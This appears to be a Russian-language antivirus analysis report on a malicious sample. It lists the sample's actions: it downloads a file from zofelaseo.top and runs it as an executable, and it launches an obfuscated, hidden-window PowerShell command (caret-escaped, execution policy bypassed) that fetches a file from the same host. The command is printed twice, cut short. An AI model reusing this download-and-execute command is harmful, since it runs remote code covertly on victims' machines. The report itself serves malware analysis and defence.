Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://zofelaseo.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "POweR^s^helL.^EXE^ -^exeC^u^TIonpOliCY byPaSs -^nOp^ROFiLE^ ^-w^iNdO^wSTYLE hi^d^d^En (nEW-^o^BjecT^ SYs^TEm.NET.^W^EBC^l^I^e^NT).dowNLOA^dfILE('http://zofelaseo.top/read.ph...
Сетевая активность
UDP
- DNS ASK zo###aseo.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "POweR^s^helL.^EXE^ -^exeC^u^TIonpOliCY byPaSs -^nOp^ROFiLE^ ^-w^iNdO^wSTYLE hi^d^d^En (nEW-^o^BjecT^ SYs^TEm.NET.^W^EBC^l^I^e^NT).dowNLOA^dfILE('http://zofelaseo.top/read.ph...' (со скрытым окном)
